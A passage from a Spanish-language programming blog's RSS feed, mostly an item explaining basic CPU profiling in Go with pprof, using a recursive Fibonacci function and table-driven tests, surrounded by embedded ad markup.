tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-jsx&#34; data-lang=&#34;jsx&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; Componente&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; React.FC &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; ({ children }) =&amp;gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (&amp;lt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;{children}&amp;lt;/&lt;span style=&#34;color:#ff6ac1&#34;&gt;div&lt;/span&gt;&amp;gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Además de permitirnos trabajar con children, &lt;em&gt;React.FC&lt;/em&gt; también provoca un error si intentamos devolver &lt;em&gt;undefined&lt;/em&gt; desde nuestro componente.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Go: profiling o perfilado básico del uso del CPU</title>
      <link>https://coffeebytes.dev/es/go/go-profiling-o-perfilado-basico-del-uso-del-cpu/</link>
      <pubDate>Wed, 16 Feb 2022 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/go/go-profiling-o-perfilado-basico-del-uso-del-cpu/</guid>
      
      <category>go</category>
      
      
      
      
      
      <content:encoded>&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;¿Te suena el nombre de Brian W. Kernighan? ¿Sí? Es el autor de &#39;El libro del lenguaje de programación C&#39;. ¿Sabías que también escribió este libro sobre el lenguaje de programación Go? Si te gustó su estilo, probablemente también disfrutes este libro.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Lenguaje de programación Go\&#34;,\&#34;imageSrc\&#34;:\&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1740103953/go-programming-language-book_vp91jl.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/41nJIXH\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio del Lenguaje de Programación Go en Amazon\&#34;,\&#34;title\&#34;:\&#34;Dónde aprender Go\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Además del &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-testing-basico-y-coverage/&#34;&gt;testing de pruebas unitarias y la medición del coverage en go&lt;/a&gt;&#xA;, este lenguaje de programación es capaz de realizar un profiling (o perfilar) la eficiencia del código, analizándolo de manera muy detallada. Esto es bastante útil para encontrar cuellos de botella o partes del código muy costosas, que se llaman numerosas veces o cuyo rendimiento pueden mejorarse.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;p class=&#34;message info&#34;&gt;&#xA;    &lt;span&gt;&lt;img width=&#34;60&#34; height=&#34;60&#34; src=&#34;https://res.cloudinary.com/dwrscezd2/image/upload/v1717959563/Go_gopher_favicon_uzxa20.svg&#34; alt=&#34;&#34;&gt;&lt;/span&gt;&#xA;    &lt;a target=&#34;_blank&#34; rel=”nofollow” href=&#34;https://coffeebytes.dev/es/pages/go-programming-language-tutorial/&#34;&gt;&#xA;    ¡Hola! ¿Ya sabes que tengo un tutorial completo del lenguaje de programación Go completamente gratis?, puedes encontrarlo directamente en la barra del menú superior o haciendo clic en este panel&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&#xA;&lt;h2 id=&#34;como-funciona-internamente-el-profiling-de-go-en-gnulinux&#34;&gt;¿Cómo funciona internamente el profiling de Go en GNU/Linux?&lt;/h2&gt;&#xA;&lt;p&gt;GNU/Linux, más específicamente GNU, tiene una señal de alarma llamada &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.gnu.org/software/libc/manual/html_node/Alarm-Signals.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;SIGPROF&lt;/a&gt;&#xA;, esta señal avisa cuando un contador de tiempo termina de medir el uso del CPU e interrumpe la ejecución del código.&lt;/p&gt;&#xA;&lt;p&gt;En el profiling de Go, la señal SIGPROF se programa para ser llamada cada 10 ms. Cada vez que se invoca esta señal, se examina la instrucción actual del &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://es.wikipedia.org/wiki/Contador_de_programa&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;contador de programa (PC)&lt;/a&gt;&#xA; y se rastrea hacia atrás a la secuencia de instrucciones que la llamaron. El resultado del proceso anterior es un informe de los elementos en la pila de ejecución , conocido como &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://es.wikipedia.org/wiki/Stack_trace&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;stack trace&lt;/a&gt;&#xA; o seguimiento de pila.&lt;/p&gt;&#xA;&lt;p&gt;El proceso de profiling va a ralentizar la ejecución del código, pues se interrumpe cada 10ms para ver que se está ejecutando. Como seguramente ya dedujiste, si una función se encuentra múltiples veces en los stack traces que se generan, tras cada señal SIGPROF, significa que ha durado mucho tiempo ejecutándose.&lt;/p&gt;&#xA;&lt;p&gt;Al finalizar el profiler la herramienta &lt;em&gt;pprof&lt;/em&gt; de go organiza los datos para que puedan representarse de una manera más amigable para el usuario.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;profiling-o-perfilado-de-cpu-en-go&#34;&gt;Profiling o perfilado de CPU en go&lt;/h2&gt;&#xA;&lt;p&gt;Para esta etrada voy a usar el clásico fibonacci por recursión para demostrar las capacidades de profiling de go. Estoy usando go version go1.15.15 linux/amd64.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;Fibonacci&lt;/span&gt;(n &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;) &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; n &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;lt;=&lt;/span&gt; &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; n&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; (&lt;span style=&#34;color:#57c7ff&#34;&gt;Fibonacci&lt;/span&gt;(n&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;) &lt;span style=&#34;color:#ff6ac1&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;Fibonacci&lt;/span&gt;(n&lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;))&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Para el testing en go, justo como te expliqué en la entrada anterior, usaremos un array de structs para manejar los diferentes casos.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;func&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;TestFibonacci&lt;/span&gt;(t &lt;span style=&#34;color:#ff6ac1&#34;&gt;*&lt;/span&gt;testing.T) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;tables &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; []&lt;span style=&#34;color:#ff5c57&#34;&gt;struct&lt;/span&gt; {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;n    &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;fibo &lt;span style=&#34;color:#9aedfe&#34;&gt;int&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;}{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;{&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;{&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;{&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;{&lt;span style=&#34;color:#ff9f43&#34;&gt;15&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;610&lt;/span&gt;},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;{&lt;span style=&#34;color:#ff9f43&#34;&gt;17&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1597&lt;/span&gt;},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;{&lt;span style=&#34;color:#ff9f43&#34;&gt;40&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;102334155&lt;/span&gt;},&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; _, table &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;range&lt;/span&gt; tables {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;result &lt;span style=&#34;color:#ff6ac1&#34;&gt;:=&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;Fibonacci&lt;/span&gt;(table.n)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt; result &lt;span style=&#34;color:#ff6ac1&#34;&gt;!=&lt;/span&gt; table.fibo {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;&#x9;t.&lt;span style=&#34;color:#57c7ff&#34;&gt;Errorf&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Fibonacci incorrecta, esperabamos %d, pero obtubimos %d&amp;#34;&lt;/span&gt;, table.fibo, result)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;&#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#x9;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;obteniendo-la-informacion-del-profiling&#34;&gt;Obteniendo la información del profiling&lt;/h3&gt;&#xA;&lt;p&gt;Igual que hicimos para ver el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/go/go-testing-basico-y-coverage/&#34;&gt;coverage en el testing de go&lt;/a&gt;&#xA;, usamos un flag para crear un archivo con la información del profiling en binario, este archivo no lo podemos visualizar directamente.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; test &lt;span style=&#34;color:#ff6ac1&#34;&gt;-&lt;/span&gt;cpuprofile=cpu.out&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PASS&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ok      _&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;home&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;eduardo&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;Programacion&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;goTesting&lt;span style=&#34;color:#ff6ac1&#34;&gt;/&lt;/span&gt;testing   &lt;span style=&#34;color:#ff9f43&#34;&gt;0.813&lt;/span&gt;s&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;Pero podrá ser usado por otras herramientas para visualizarlo de manera más humana.&lt;/p&gt;&#xA;&lt;h3 id=&#34;visualizar-resultados-del-profiling&#34;&gt;Visualizar resultados del profiling&lt;/h3&gt;&#xA;&lt;p&gt;Para ver el resumen del uso de cpu usamos &lt;em&gt;tool pprof&lt;/em&gt; pasándole como argumento el archivo que contiene los datos del profiling.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;go&lt;/span&gt; tool pprof cpu.out&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;File: testing.test&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Type: cpu&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Time: Feb &lt;span style=&#34;color:#ff9f43&#34;&gt;10&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;2022&lt;/span&gt; at &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;06&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;pm&lt;/span&gt; (CST)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Duration: &lt;span style=&#34;color:#ff9f43&#34;&gt;802.18&lt;/span&gt;ms, Total samples = &lt;span style=&#34;color:#ff9f43&#34;&gt;690&lt;/span&gt;&lt;span style=&#34;color:#57c7ff&#34;&gt;ms&lt;/span&gt; (&lt;span style=&#34;color:#ff9f43&#34;&gt;86.02&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;%&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Entering interactive &lt;span style=&#34;color:#57c7ff&#34;&gt;mode&lt;/span&gt; (&lt;span style=&#34;color:#ff5c57&#34;&gt;type&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;help&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; commands, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;o&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;for&lt;/span&gt; options)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Tras ejecutar el comando anterior estaremos dentro de una terminal. Si ejecutamos &lt;em&gt;top&lt;/em&gt; veremos el comportamiento de nuestro código.&lt;/p&gt;&#xA;&lt;p&gt;Mira como Fibonacci ocupa casi la totalidad del tiempo usado.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-go&#34; data-lang=&#34;go&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;(pprof) top&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;File: 